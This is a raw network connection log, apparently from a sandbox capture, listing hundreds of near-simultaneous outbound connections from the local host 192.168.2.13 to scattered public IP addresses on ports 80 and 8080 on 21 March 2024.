Mar 21, 2024 05:21:47.393142939 CET	50224	80	192.168.2.13	212.224.163.2
Mar 21, 2024 05:21:47.393141985 CET	50224	80	192.168.2.13	53.42.43.163
Mar 21, 2024 05:21:47.393150091 CET	50224	80	192.168.2.13	5.134.222.170
Mar 21, 2024 05:21:47.393150091 CET	50480	80	192.168.2.13	178.101.139.183
Mar 21, 2024 05:21:47.393150091 CET	50480	80	192.168.2.13	178.65.66.184
Mar 21, 2024 05:21:47.393157005 CET	50224	80	192.168.2.13	212.237.96.52
Mar 21, 2024 05:21:47.393160105 CET	50224	80	192.168.2.13	220.55.86.73
Mar 21, 2024 05:21:47.393172979 CET	50224	80	192.168.2.13	212.208.214.141
Mar 21, 2024 05:21:47.393177986 CET	50224	80	192.168.2.13	212.126.186.215
Mar 21, 2024 05:21:47.393178940 CET	50224	8080	192.168.2.13	212.129.177.96
Mar 21, 2024 05:21:47.393178940 CET	50480	80	192.168.2.13	178.235.59.105
Mar 21, 2024 05:21:47.393183947 CET	50480	80	192.168.2.13	178.251.241.204
Mar 21, 2024 05:21:47.393191099 CET	50480	80	192.168.2.13	178.81.230.70
Mar 21, 2024 05:21:47.393198967 CET	50224	80	192.168.2.13	97.135.176.76
Mar 21, 2024 05:21:47.393203020 CET	50480	80	192.168.2.13	178.253.183.69
Mar 21, 2024 05:21:47.393203020 CET	50480	80	192.168.2.13	178.135.188.243
Mar 21, 2024 05:21:47.393208027 CET	50480	80	192.168.2.13	178.198.53.194
Mar 21, 2024 05:21:47.393208027 CET	50480	80	192.168.2.13	178.117.79.70
Mar 21, 2024 05:21:47.393208027 CET	50480	80	192.168.2.13	178.97.72.115
Mar 21, 2024 05:21:47.393208027 CET	50224	80	192.168.2.13	212.93.60.105
Mar 21, 2024 05:21:47.393224001 CET	50224	80	192.168.2.13	212.217.184.207
Mar 21, 2024 05:21:47.393224001 CET	50224	80	192.168.2.13	156.169.214.24
Mar 21, 2024 05:21:47.393224955 CET	50224	80	192.168.2.13	107.177.247.98
Mar 21, 2024 05:21:47.393232107 CET	50224	80	192.168.2.13	44.241.231.21
Mar 21, 2024 05:21:47.393244028 CET	50224	80	192.168.2.13	171.51.49.112
Mar 21, 2024 05:21:47.393244982 CET	50224	80	192.168.2.13	140.39.239.39
Mar 21, 2024 05:21:47.393246889 CET	50224	80	192.168.2.13	92.133.196.205
Mar 21, 2024 05:21:47.393249035 CET	50224	80	192.168.2.13	212.184.100.6
Mar 21, 2024 05:21:47.393249989 CET	50224	80	192.168.2.13	58.99.149.148
Mar 21, 2024 05:21:47.393249989 CET	50480	80	192.168.2.13	178.20.18.54
Mar 21, 2024 05:21:47.393249989 CET	50224	8080	192.168.2.13	212.101.242.214
Mar 21, 2024 05:21:47.393249035 CET	50224	80	192.168.2.13	158.56.125.78
Mar 21, 2024 05:21:47.393249989 CET	50224	80	192.168.2.13	216.98.9.99
Mar 21, 2024 05:21:47.393249035 CET	50224	80	192.168.2.13	133.8.131.238
Mar 21, 2024 05:21:47.393254042 CET	50480	80	192.168.2.13	178.198.190.195
Mar 21, 2024 05:21:47.393254995 CET	50480	80	192.168.2.13	178.144.230.216
Mar 21, 2024 05:21:47.393264055 CET	50224	80	192.168.2.13	150.169.147.67
Mar 21, 2024 05:21:47.393264055 CET	50224	80	192.168.2.13	161.36.73.30
Mar 21, 2024 05:21:47.393264055 CET	50224	80	192.168.2.13	27.249.229.203
Mar 21, 2024 05:21:47.393264055 CET	50480	80	192.168.2.13	178.213.107.240
Mar 21, 2024 05:21:47.393265963 CET	50480	80	192.168.2.13	178.228.148.3
Mar 21, 2024 05:21:47.393270016 CET	50224	8080	192.168.2.13	121.94.7.207
Mar 21, 2024 05:21:47.393270016 CET	50224	80	192.168.2.13	212.52.70.243
Mar 21, 2024 05:21:47.393270016 CET	50224	80	192.168.2.13	212.147.15.225
Mar 21, 2024 05:21:47.393271923 CET	50480	80	192.168.2.13	178.206.178.76
Mar 21, 2024 05:21:47.393270016 CET	50480	80	192.168.2.13	178.177.142.122
Mar 21, 2024 05:21:47.393271923 CET	50480	80	192.168.2.13	178.245.37.182
Mar 21, 2024 05:21:47.393275976 CET	50224	80	192.168.2.13	60.93.239.129
Mar 21, 2024 05:21:47.393276930 CET	50480	80	192.168.2.13	178.187.26.13
Mar 21, 2024 05:21:47.393276930 CET	50480	80	192.168.2.13	178.61.19.123
Mar 21, 2024 05:21:47.393285990 CET	50224	80	192.168.2.13	163.79.67.152
Mar 21, 2024 05:21:47.393285990 CET	50224	80	192.168.2.13	212.200.228.20
Mar 21, 2024 05:21:47.393286943 CET	50224	80	192.168.2.13	163.23.195.13
Mar 21, 2024 05:21:47.393286943 CET	50480	80	192.168.2.13	178.147.170.44
Mar 21, 2024 05:21:47.393286943 CET	50224	80	192.168.2.13	212.10.40.146
Mar 21, 2024 05:21:47.393290043 CET	50224	80	192.168.2.13	8.227.36.23
Mar 21, 2024 05:21:47.393290043 CET	50480	80	192.168.2.13	178.20.188.223
Mar 21, 2024 05:21:47.393292904 CET	50480	80	192.168.2.13	178.36.112.136
Mar 21, 2024 05:21:47.393294096 CET	50480	80	192.168.2.13	178.169.42.104
Mar 21, 2024 05:21:47.393294096 CET	50480	80	192.168.2.13	178.109.109.112
Mar 21, 2024 05:21:47.393294096 CET	50480	80	192.168.2.13	178.105.44.248
Mar 21, 2024 05:21:47.393294096 CET	50224	8080	192.168.2.13	212.117.134.198
Mar 21, 2024 05:21:47.393294096 CET	50224	80	192.168.2.13	143.124.74.11
Mar 21, 2024 05:21:47.393296003 CET	50480	80	192.168.2.13	178.116.5.20
Mar 21, 2024 05:21:47.393299103 CET	50480	80	192.168.2.13	178.118.69.86
Mar 21, 2024 05:21:47.393299103 CET	50224	80	192.168.2.13	212.232.27.100
Mar 21, 2024 05:21:47.393307924 CET	50224	80	192.168.2.13	5.39.23.121
Mar 21, 2024 05:21:47.393307924 CET	50224	80	192.168.2.13	212.82.171.5
Mar 21, 2024 05:21:47.393307924 CET	50224	80	192.168.2.13	212.55.230.241
Mar 21, 2024 05:21:47.393310070 CET	50224	80	192.168.2.13	54.155.134.10
Mar 21, 2024 05:21:47.393307924 CET	50480	80	192.168.2.13	178.82.128.150
Mar 21, 2024 05:21:47.393307924 CET	50480	80	192.168.2.13	178.249.111.67
Mar 21, 2024 05:21:47.393312931 CET	50480	80	192.168.2.13	178.15.20.139
Mar 21, 2024 05:21:47.393312931 CET	50480	80	192.168.2.13	178.231.126.77
Mar 21, 2024 05:21:47.393312931 CET	50224	80	192.168.2.13	100.172.181.174
Mar 21, 2024 05:21:47.393318892 CET	50224	80	192.168.2.13	179.132.156.234
Mar 21, 2024 05:21:47.393318892 CET	50224	8080	192.168.2.13	212.76.1.178
Mar 21, 2024 05:21:47.393318892 CET	50224	80	192.168.2.13	212.186.58.85
Mar 21, 2024 05:21:47.393320084 CET	50224	80	192.168.2.13	212.24.100.196
Mar 21, 2024 05:21:47.393323898 CET	50480	80	192.168.2.13	178.49.131.183
Mar 21, 2024 05:21:47.393328905 CET	50480	80	192.168.2.13	178.74.250.5
Mar 21, 2024 05:21:47.393336058 CET	50224	80	192.168.2.13	212.62.94.51
Mar 21, 2024 05:21:47.393340111 CET	50224	80	192.168.2.13	137.211.216.136
Mar 21, 2024 05:21:47.393340111 CET	50224	80	192.168.2.13	93.118.153.59
Mar 21, 2024 05:21:47.393341064 CET	50224	80	192.168.2.13	17.106.45.175
Mar 21, 2024 05:21:47.393342018 CET	50224	80	192.168.2.13	114.193.49.77
Mar 21, 2024 05:21:47.393347979 CET	50480	80	192.168.2.13	178.152.122.87
Mar 21, 2024 05:21:47.393351078 CET	50224	80	192.168.2.13	212.166.87.193
Mar 21, 2024 05:21:47.393351078 CET	50480	80	192.168.2.13	178.64.105.3
Mar 21, 2024 05:21:47.393351078 CET	50224	80	192.168.2.13	152.103.210.10
Mar 21, 2024 05:21:47.393364906 CET	50480	80	192.168.2.13	178.67.20.142
Mar 21, 2024 05:21:47.393366098 CET	50224	80	192.168.2.13	120.132.48.173
Mar 21, 2024 05:21:47.393376112 CET	50480	80	192.168.2.13	178.59.228.220
Mar 21, 2024 05:21:47.393376112 CET	50224	80	192.168.2.13	165.98.208.206
Mar 21, 2024 05:21:47.393377066 CET	50480	80	192.168.2.13	178.108.99.251
Mar 21, 2024 05:21:47.393382072 CET	50480	80	192.168.2.13	178.161.139.211
Mar 21, 2024 05:21:47.393388033 CET	50480	80	192.168.2.13	178.17.245.7
Mar 21, 2024 05:21:47.393393040 CET	50480	80	192.168.2.13	178.222.101.247
Mar 21, 2024 05:21:47.393399954 CET	49712	8080	192.168.2.13	184.4.17.84
Mar 21, 2024 05:21:47.393399954 CET	49712	8080	192.168.2.13	172.15.110.234
Mar 21, 2024 05:21:47.393402100 CET	50480	80	192.168.2.13	178.17.186.245
Mar 21, 2024 05:21:47.393419981 CET	49712	8080	192.168.2.13	172.4.11.60
Mar 21, 2024 05:21:47.393420935 CET	50480	80	192.168.2.13	178.108.40.20
Mar 21, 2024 05:21:47.393424034 CET	50480	80	192.168.2.13	178.63.252.23
Mar 21, 2024 05:21:47.393424034 CET	49712	8080	192.168.2.13	98.201.21.190
Mar 21, 2024 05:21:47.393426895 CET	49712	8080	192.168.2.13	172.130.41.178
Mar 21, 2024 05:21:47.393426895 CET	50480	80	192.168.2.13	178.157.15.153
Mar 21, 2024 05:21:47.393428087 CET	50480	80	192.168.2.13	178.54.173.28
Mar 21, 2024 05:21:47.393440962 CET	49712	8080	192.168.2.13	98.70.198.53
Mar 21, 2024 05:21:47.393443108 CET	49712	8080	192.168.2.13	184.111.55.0
Mar 21, 2024 05:21:47.393443108 CET	50480	80	192.168.2.13	178.126.78.81
Mar 21, 2024 05:21:47.393443108 CET	50480	80	192.168.2.13	178.195.87.211
Mar 21, 2024 05:21:47.393444061 CET	49712	8080	192.168.2.13	184.182.149.99
Mar 21, 2024 05:21:47.393443108 CET	49712	8080	192.168.2.13	184.23.221.204
Mar 21, 2024 05:21:47.393446922 CET	50480	80	192.168.2.13	178.86.195.4
Mar 21, 2024 05:21:47.393454075 CET	50480	80	192.168.2.13	178.133.112.185
Mar 21, 2024 05:21:47.393456936 CET	49712	8080	192.168.2.13	98.38.134.127
Mar 21, 2024 05:21:47.393456936 CET	49712	8080	192.168.2.13	172.123.79.77
Mar 21, 2024 05:21:47.393459082 CET	50480	80	192.168.2.13	178.112.160.61
Mar 21, 2024 05:21:47.393459082 CET	50480	80	192.168.2.13	178.132.29.195
Mar 21, 2024 05:21:47.393460035 CET	49712	8080	192.168.2.13	184.135.210.200
Mar 21, 2024 05:21:47.393462896 CET	49712	8080	192.168.2.13	98.154.148.170
Mar 21, 2024 05:21:47.393464088 CET	49712	8080	192.168.2.13	172.242.5.230
Mar 21, 2024 05:21:47.393464088 CET	50480	80	192.168.2.13	178.223.221.251
Mar 21, 2024 05:21:47.393464088 CET	50480	80	192.168.2.13	178.102.75.34
Mar 21, 2024 05:21:47.393481970 CET	49712	8080	192.168.2.13	184.161.198.77
Mar 21, 2024 05:21:47.393487930 CET	49712	8080	192.168.2.13	98.90.96.207
Mar 21, 2024 05:21:47.393487930 CET	50480	80	192.168.2.13	178.124.190.128
Mar 21, 2024 05:21:47.393490076 CET	49712	8080	192.168.2.13	98.90.20.130
Mar 21, 2024 05:21:47.393498898 CET	50480	80	192.168.2.13	178.10.123.160
Mar 21, 2024 05:21:47.393501997 CET	49712	8080	192.168.2.13	98.68.34.19
Mar 21, 2024 05:21:47.393506050 CET	49712	8080	192.168.2.13	184.160.159.234
Mar 21, 2024 05:21:47.393506050 CET	50480	80	192.168.2.13	178.140.174.156
Mar 21, 2024 05:21:47.393510103 CET	50480	80	192.168.2.13	178.99.199.187
Mar 21, 2024 05:21:47.393510103 CET	50480	80	192.168.2.13	178.242.6.126
Mar 21, 2024 05:21:47.393511057 CET	49712	8080	192.168.2.13	98.109.192.139
Mar 21, 2024 05:21:47.393512011 CET	49712	8080	192.168.2.13	98.255.44.49
Mar 21, 2024 05:21:47.393512011 CET	49712	8080	192.168.2.13	184.69.218.2
Mar 21, 2024 05:21:47.393512011 CET	49712	8080	192.168.2.13	98.223.161.5
Mar 21, 2024 05:21:47.393512011 CET	50480	80	192.168.2.13	178.127.191.3
Mar 21, 2024 05:21:47.393517971 CET	49712	8080	192.168.2.13	98.82.186.16
Mar 21, 2024 05:21:47.393518925 CET	50480	80	192.168.2.13	178.17.144.159
Mar 21, 2024 05:21:47.393520117 CET	49712	8080	192.168.2.13	98.90.140.83
Mar 21, 2024 05:21:47.393520117 CET	49712	8080	192.168.2.13	184.206.209.245
Mar 21, 2024 05:21:47.393528938 CET	49712	8080	192.168.2.13	172.197.79.25
Mar 21, 2024 05:21:47.393528938 CET	49712	8080	192.168.2.13	172.55.211.190
Mar 21, 2024 05:21:47.393528938 CET	50480	80	192.168.2.13	178.162.126.183
Mar 21, 2024 05:21:47.393533945 CET	49712	8080	192.168.2.13	98.174.61.253
Mar 21, 2024 05:21:47.393537045 CET	50480	80	192.168.2.13	178.171.15.47
Mar 21, 2024 05:21:47.393537045 CET	50480	80	192.168.2.13	178.121.79.154
Mar 21, 2024 05:21:47.393537045 CET	49712	8080	192.168.2.13	98.195.180.71
Mar 21, 2024 05:21:47.393537045 CET	50480	80	192.168.2.13	178.150.119.202
Mar 21, 2024 05:21:47.393537045 CET	50480	80	192.168.2.13	178.127.81.70
Mar 21, 2024 05:21:47.393542051 CET	49712	8080	192.168.2.13	98.234.90.47
Mar 21, 2024 05:21:47.393556118 CET	49712	8080	192.168.2.13	184.4.18.77
Mar 21, 2024 05:21:47.393557072 CET	50480	80	192.168.2.13	178.41.220.19
Mar 21, 2024 05:21:47.393557072 CET	49712	8080	192.168.2.13	184.248.82.165
Mar 21, 2024 05:21:47.393564939 CET	49712	8080	192.168.2.13	98.102.71.30
Mar 21, 2024 05:21:47.393568993 CET	50480	80	192.168.2.13	178.164.8.193
Mar 21, 2024 05:21:47.393568993 CET	49712	8080	192.168.2.13	172.238.46.206
Mar 21, 2024 05:21:47.393568993 CET	50480	80	192.168.2.13	178.174.143.45
Mar 21, 2024 05:21:47.393569946 CET	50480	80	192.168.2.13	178.112.57.48
Mar 21, 2024 05:21:47.393584967 CET	50480	80	192.168.2.13	178.200.70.29
Mar 21, 2024 05:21:47.393590927 CET	50480	80	192.168.2.13	178.22.167.206
Mar 21, 2024 05:21:47.393591881 CET	50480	80	192.168.2.13	178.173.98.240
Mar 21, 2024 05:21:47.393594980 CET	50480	80	192.168.2.13	178.167.116.204
Mar 21, 2024 05:21:47.393594980 CET	49712	8080	192.168.2.13	172.104.185.81
Mar 21, 2024 05:21:47.393599987 CET	50480	80	192.168.2.13	178.75.18.131
Mar 21, 2024 05:21:47.393601894 CET	49712	8080	192.168.2.13	98.189.3.149
Mar 21, 2024 05:21:47.393601894 CET	50480	80	192.168.2.13	178.25.187.140
Mar 21, 2024 05:21:47.393610001 CET	50480	80	192.168.2.13	178.119.190.238
Mar 21, 2024 05:21:47.393610001 CET	50480	80	192.168.2.13	178.24.147.31
Mar 21, 2024 05:21:47.393613100 CET	49712	8080	192.168.2.13	172.200.76.184
Mar 21, 2024 05:21:47.393613100 CET	50480	80	192.168.2.13	178.89.193.196
Mar 21, 2024 05:21:47.393626928 CET	49712	8080	192.168.2.13	98.195.195.189
Mar 21, 2024 05:21:47.393630981 CET	49712	8080	192.168.2.13	172.12.0.237
Mar 21, 2024 05:21:47.393640995 CET	49712	8080	192.168.2.13	172.145.38.90
Mar 21, 2024 05:21:47.393642902 CET	49712	8080	192.168.2.13	172.250.199.205
Mar 21, 2024 05:21:47.393651009 CET	49712	8080	192.168.2.13	172.205.163.152
Mar 21, 2024 05:21:47.393651009 CET	49712	8080	192.168.2.13	172.81.168.1
Mar 21, 2024 05:21:47.393651009 CET	49712	8080	192.168.2.13	98.124.77.93
Mar 21, 2024 05:21:47.393662930 CET	49712	8080	192.168.2.13	184.118.233.139
Mar 21, 2024 05:21:47.393662930 CET	49712	8080	192.168.2.13	172.229.196.198
Mar 21, 2024 05:21:47.393672943 CET	49712	8080	192.168.2.13	98.43.139.132
Mar 21, 2024 05:21:47.393682957 CET	49712	8080	192.168.2.13	184.48.186.57
Mar 21, 2024 05:21:47.393687963 CET	49712	8080	192.168.2.13	172.99.5.52
Mar 21, 2024 05:21:47.393687963 CET	49712	8080	192.168.2.13	98.48.75.88
Mar 21, 2024 05:21:47.393695116 CET	49712	8080	192.168.2.13	172.108.196.190
Mar 21, 2024 05:21:47.393695116 CET	50480	80	192.168.2.13	178.191.9.34
Mar 21, 2024 05:21:47.393706083 CET	50480	80	192.168.2.13	178.253.99.4
Mar 21, 2024 05:21:47.393711090 CET	49712	8080	192.168.2.13	172.52.16.148
Mar 21, 2024 05:21:47.393712997 CET	49712	8080	192.168.2.13	172.169.110.26
Mar 21, 2024 05:21:47.393714905 CET	49712	8080	192.168.2.13	98.98.209.20
Mar 21, 2024 05:21:47.393714905 CET	49712	8080	192.168.2.13	184.150.218.104
Mar 21, 2024 05:21:47.393718958 CET	49712	8080	192.168.2.13	172.140.126.129
Mar 21, 2024 05:21:47.393719912 CET	49712	8080	192.168.2.13	172.53.14.113
Mar 21, 2024 05:21:47.393723965 CET	49712	8080	192.168.2.13	184.73.138.249
Mar 21, 2024 05:21:47.393723965 CET	49712	8080	192.168.2.13	184.147.183.109
Mar 21, 2024 05:21:47.393723965 CET	50480	80	192.168.2.13	178.39.115.41
Mar 21, 2024 05:21:47.393729925 CET	50480	80	192.168.2.13	178.143.8.198
Mar 21, 2024 05:21:47.393729925 CET	49712	8080	192.168.2.13	98.90.176.193
Mar 21, 2024 05:21:47.393735886 CET	50480	80	192.168.2.13	178.61.161.44
Mar 21, 2024 05:21:47.393735886 CET	49712	8080	192.168.2.13	184.166.184.248
Mar 21, 2024 05:21:47.393737078 CET	49712	8080	192.168.2.13	98.172.215.223
Mar 21, 2024 05:21:47.393737078 CET	49712	8080	192.168.2.13	98.192.4.144
Mar 21, 2024 05:21:47.393738031 CET	49712	8080	192.168.2.13	172.133.60.0
Mar 21, 2024 05:21:47.393738985 CET	50480	80	192.168.2.13	178.69.19.39
Mar 21, 2024 05:21:47.393754959 CET	49712	8080	192.168.2.13	172.234.69.181
Mar 21, 2024 05:21:47.393755913 CET	50480	80	192.168.2.13	178.74.44.171
Mar 21, 2024 05:21:47.393755913 CET	50480	80	192.168.2.13	178.100.126.125
Mar 21, 2024 05:21:47.393758059 CET	49712	8080	192.168.2.13	172.229.202.23
Mar 21, 2024 05:21:47.393759012 CET	50480	80	192.168.2.13	178.85.119.5
Mar 21, 2024 05:21:47.393762112 CET	49712	8080	192.168.2.13	184.198.140.201
Mar 21, 2024 05:21:47.393762112 CET	49712	8080	192.168.2.13	98.183.43.237
Mar 21, 2024 05:21:47.393763065 CET	50480	80	192.168.2.13	178.4.38.236
Mar 21, 2024 05:21:47.393774033 CET	49712	8080	192.168.2.13	184.252.126.36
Mar 21, 2024 05:21:47.393774033 CET	49712	8080	192.168.2.13	184.253.143.182
Mar 21, 2024 05:21:47.393774033 CET	49712	8080	192.168.2.13	98.38.131.21
Mar 21, 2024 05:21:47.393774986 CET	49712	8080	192.168.2.13	172.10.131.129
Mar 21, 2024 05:21:47.393774986 CET	49712	8080	192.168.2.13	184.176.59.84
Mar 21, 2024 05:21:47.393779039 CET	49712	8080	192.168.2.13	172.245.122.238
Mar 21, 2024 05:21:47.393783092 CET	49712	8080	192.168.2.13	98.208.58.245
Mar 21, 2024 05:21:47.393784046 CET	50480	80	192.168.2.13	178.57.213.220
Mar 21, 2024 05:21:47.393785954 CET	50480	80	192.168.2.13	178.108.36.113
Mar 21, 2024 05:21:47.393800020 CET	49712	8080	192.168.2.13	98.187.156.203
Mar 21, 2024 05:21:47.393802881 CET	49712	8080	192.168.2.13	172.27.255.39
Mar 21, 2024 05:21:47.393804073 CET	50480	80	192.168.2.13	178.2.79.89
Mar 21, 2024 05:21:47.393822908 CET	50480	80	192.168.2.13	178.81.55.185
Mar 21, 2024 05:21:47.393825054 CET	49712	8080	192.168.2.13	172.112.94.112
Mar 21, 2024 05:21:47.393831968 CET	49712	8080	192.168.2.13	184.120.119.57
Mar 21, 2024 05:21:47.393832922 CET	49712	8080	192.168.2.13	184.225.230.198
Mar 21, 2024 05:21:47.393832922 CET	50480	80	192.168.2.13	178.157.197.139
Mar 21, 2024 05:21:47.393832922 CET	50480	80	192.168.2.13	178.138.116.134
Mar 21, 2024 05:21:47.393834114 CET	49712	8080	192.168.2.13	172.162.206.81
Mar 21, 2024 05:21:47.393836021 CET	49712	8080	192.168.2.13	184.52.138.225
Mar 21, 2024 05:21:47.393842936 CET	50480	80	192.168.2.13	178.136.5.150
Mar 21, 2024 05:21:47.393845081 CET	50480	80	192.168.2.13	178.216.231.99
Mar 21, 2024 05:21:47.393847942 CET	49712	8080	192.168.2.13	98.252.191.53
Mar 21, 2024 05:21:47.393850088 CET	50480	80	192.168.2.13	178.73.177.223
Mar 21, 2024 05:21:47.393851995 CET	50480	80	192.168.2.13	178.67.172.116
Mar 21, 2024 05:21:47.393851995 CET	50480	80	192.168.2.13	178.247.168.182
Mar 21, 2024 05:21:47.393853903 CET	49712	8080	192.168.2.13	184.29.210.181
Mar 21, 2024 05:21:47.393855095 CET	49712	8080	192.168.2.13	184.106.7.154
Mar 21, 2024 05:21:47.393857956 CET	50480	80	192.168.2.13	178.171.33.142
Mar 21, 2024 05:21:47.393860102 CET	50480	80	192.168.2.13	178.21.78.251
Mar 21, 2024 05:21:47.393867016 CET	49712	8080	192.168.2.13	98.185.129.61
Mar 21, 2024 05:21:47.393871069 CET	49712	8080	192.168.2.13	184.140.53.92
Mar 21, 2024 05:21:47.393878937 CET	50480	80	192.168.2.13	178.95.119.229
Mar 21, 2024 05:21:47.393882036 CET	49712	8080	192.168.2.13	98.10.40.102
Mar 21, 2024 05:21:47.393882036 CET	49712	8080	192.168.2.13	98.83.68.139
Mar 21, 2024 05:21:47.393889904 CET	49712	8080	192.168.2.13	184.105.35.198
Mar 21, 2024 05:21:47.393891096 CET	49712	8080	192.168.2.13	184.125.15.157
Mar 21, 2024 05:21:47.393892050 CET	49712	8080	192.168.2.13	184.65.68.105
Mar 21, 2024 05:21:47.393892050 CET	49712	8080	192.168.2.13	172.151.133.139
Mar 21, 2024 05:21:47.393898010 CET	50480	80	192.168.2.13	178.206.243.51
Mar 21, 2024 05:21:47.393903971 CET	49712	8080	192.168.2.13	172.151.204.43
Mar 21, 2024 05:21:47.393903971 CET	50480	80	192.168.2.13	178.64.137.254
Mar 21, 2024 05:21:47.393903971 CET	50480	80	192.168.2.13	178.77.174.31
Mar 21, 2024 05:21:47.393907070 CET	49712	8080	192.168.2.13	172.96.240.161
Mar 21, 2024 05:21:47.393907070 CET	49712	8080	192.168.2.13	184.135.208.50
Mar 21, 2024 05:21:47.393908024 CET	50480	80	192.168.2.13	178.185.52.7
Mar 21, 2024 05:21:47.393913031 CET	50480	80	192.168.2.13	178.240.7.224
Mar 21, 2024 05:21:47.393913031 CET	50480	80	192.168.2.13	178.203.217.229
Mar 21, 2024 05:21:47.393913984 CET	49712	8080	192.168.2.13	184.86.61.217
Mar 21, 2024 05:21:47.393913984 CET	49712	8080	192.168.2.13	184.63.114.208
Mar 21, 2024 05:21:47.393913984 CET	50480	80	192.168.2.13	178.218.71.162
Mar 21, 2024 05:21:47.393914938 CET	50480	80	192.168.2.13	178.39.207.150
Mar 21, 2024 05:21:47.393913984 CET	49712	8080	192.168.2.13	172.63.227.235
Mar 21, 2024 05:21:47.393923998 CET	49712	8080	192.168.2.13	98.241.196.233
Mar 21, 2024 05:21:47.393923998 CET	50480	80	192.168.2.13	178.251.148.170
Mar 21, 2024 05:21:47.393924952 CET	50480	80	192.168.2.13	178.77.129.115
Mar 21, 2024 05:21:47.393937111 CET	50480	80	192.168.2.13	178.23.238.248
Mar 21, 2024 05:21:47.393937111 CET	49712	8080	192.168.2.13	184.228.117.98
Mar 21, 2024 05:21:47.393942118 CET	50480	80	192.168.2.13	178.240.52.87
Mar 21, 2024 05:21:47.393944025 CET	49712	8080	192.168.2.13	184.58.21.130
Mar 21, 2024 05:21:47.393944025 CET	50480	80	192.168.2.13	178.176.114.13
Mar 21, 2024 05:21:47.393945932 CET	50480	80	192.168.2.13	178.244.44.234
Mar 21, 2024 05:21:47.393946886 CET	50480	80	192.168.2.13	178.170.202.235
Mar 21, 2024 05:21:47.393964052 CET	50480	80	192.168.2.13	178.179.139.209
Mar 21, 2024 05:21:47.393964052 CET	49712	8080	192.168.2.13	184.97.118.220
Mar 21, 2024 05:21:47.393975973 CET	49712	8080	192.168.2.13	98.125.108.8
Mar 21, 2024 05:21:47.393975973 CET	49712	8080	192.168.2.13	184.23.16.113
Mar 21, 2024 05:21:47.393978119 CET	50480	80	192.168.2.13	178.131.70.74
Mar 21, 2024 05:21:47.393978119 CET	49712	8080	192.168.2.13	172.79.134.243
Mar 21, 2024 05:21:47.393982887 CET	49712	8080	192.168.2.13	172.82.25.158
Mar 21, 2024 05:21:47.393984079 CET	50480	80	192.168.2.13	178.213.20.212
Mar 21, 2024 05:21:47.393986940 CET	49712	8080	192.168.2.13	172.167.10.110
Mar 21, 2024 05:21:47.393986940 CET	50480	80	192.168.2.13	178.168.179.40
Mar 21, 2024 05:21:47.393986940 CET	49712	8080	192.168.2.13	184.113.89.25
Mar 21, 2024 05:21:47.393997908 CET	50480	80	192.168.2.13	178.98.133.207
Mar 21, 2024 05:21:47.393999100 CET	50480	80	192.168.2.13	178.41.208.79
Mar 21, 2024 05:21:47.394000053 CET	49712	8080	192.168.2.13	98.2.0.53
Mar 21, 2024 05:21:47.394007921 CET	50480	80	192.168.2.13	178.181.172.109
Mar 21, 2024 05:21:47.394016981 CET	50480	80	192.168.2.13	178.29.251.7
Mar 21, 2024 05:21:47.394017935 CET	50480	80	192.168.2.13	178.41.110.95
Mar 21, 2024 05:21:47.394021988 CET	50480	80	192.168.2.13	178.45.132.104
Mar 21, 2024 05:21:47.394026995 CET	50480	80	192.168.2.13	178.238.155.188
Mar 21, 2024 05:21:47.394026995 CET	49712	8080	192.168.2.13	172.16.243.176
Mar 21, 2024 05:21:47.394026995 CET	49712	8080	192.168.2.13	184.187.206.136
Mar 21, 2024 05:21:47.394026995 CET	50480	80	192.168.2.13	178.126.172.49
Mar 21, 2024 05:21:47.394026995 CET	50480	80	192.168.2.13	178.195.102.110
Mar 21, 2024 05:21:47.394026995 CET	49712	8080	192.168.2.13	98.235.54.73
Mar 21, 2024 05:21:47.394037008 CET	49712	8080	192.168.2.13	184.221.55.13
Mar 21, 2024 05:21:47.394038916 CET	50480	80	192.168.2.13	178.133.13.116
Mar 21, 2024 05:21:47.394047022 CET	49712	8080	192.168.2.13	98.212.97.66
Mar 21, 2024 05:21:47.394048929 CET	49712	8080	192.168.2.13	98.77.80.161
Mar 21, 2024 05:21:47.394048929 CET	50480	80	192.168.2.13	178.175.146.32
Mar 21, 2024 05:21:47.394056082 CET	50480	80	192.168.2.13	178.176.58.176
Mar 21, 2024 05:21:47.394059896 CET	49712	8080	192.168.2.13	172.100.73.170
Mar 21, 2024 05:21:47.394064903 CET	50480	80	192.168.2.13	178.56.67.15
Mar 21, 2024 05:21:47.394071102 CET	50480	80	192.168.2.13	178.224.140.69
Mar 21, 2024 05:21:47.394074917 CET	49712	8080	192.168.2.13	172.173.159.32
Mar 21, 2024 05:21:47.394076109 CET	49712	8080	192.168.2.13	184.202.136.139
Mar 21, 2024 05:21:47.394092083 CET	49712	8080	192.168.2.13	98.140.130.166
Mar 21, 2024 05:21:47.394092083 CET	50480	80	192.168.2.13	178.12.49.218
Mar 21, 2024 05:21:47.394093037 CET	49712	8080	192.168.2.13	184.211.32.178
Mar 21, 2024 05:21:47.394097090 CET	49712	8080	192.168.2.13	184.8.251.48
Mar 21, 2024 05:21:47.394102097 CET	50480	80	192.168.2.13	178.27.167.199
Mar 21, 2024 05:21:47.394107103 CET	49712	8080	192.168.2.13	98.83.172.196
Mar 21, 2024 05:21:47.394107103 CET	49712	8080	192.168.2.13	172.202.117.163
Mar 21, 2024 05:21:47.394112110 CET	49712	8080	192.168.2.13	184.92.142.232
Mar 21, 2024 05:21:47.394119024 CET	49712	8080	192.168.2.13	184.173.92.25
Mar 21, 2024 05:21:47.394119024 CET	49712	8080	192.168.2.13	172.116.236.219
Mar 21, 2024 05:21:47.394119024 CET	50480	80	192.168.2.13	178.238.108.130
Mar 21, 2024 05:21:47.394119024 CET	49712	8080	192.168.2.13	184.168.167.172
Mar 21, 2024 05:21:47.394124985 CET	50480	80	192.168.2.13	178.145.87.25
Mar 21, 2024 05:21:47.394128084 CET	50480	80	192.168.2.13	178.156.207.222
Mar 21, 2024 05:21:47.394128084 CET	50480	80	192.168.2.13	178.130.86.231
Mar 21, 2024 05:21:47.394129992 CET	49712	8080	192.168.2.13	98.76.164.34
Mar 21, 2024 05:21:47.394129992 CET	49712	8080	192.168.2.13	172.221.202.16
Mar 21, 2024 05:21:47.394129992 CET	49712	8080	192.168.2.13	172.239.7.105
Mar 21, 2024 05:21:47.394129992 CET	49712	8080	192.168.2.13	172.99.34.171
Mar 21, 2024 05:21:47.394139051 CET	50480	80	192.168.2.13	178.226.60.137
Mar 21, 2024 05:21:47.394139051 CET	50480	80	192.168.2.13	178.249.254.243
Mar 21, 2024 05:21:47.394139051 CET	49712	8080	192.168.2.13	184.131.182.235
Mar 21, 2024 05:21:47.394139051 CET	49712	8080	192.168.2.13	172.15.110.14
Mar 21, 2024 05:21:47.394143105 CET	49712	8080	192.168.2.13	184.245.100.196
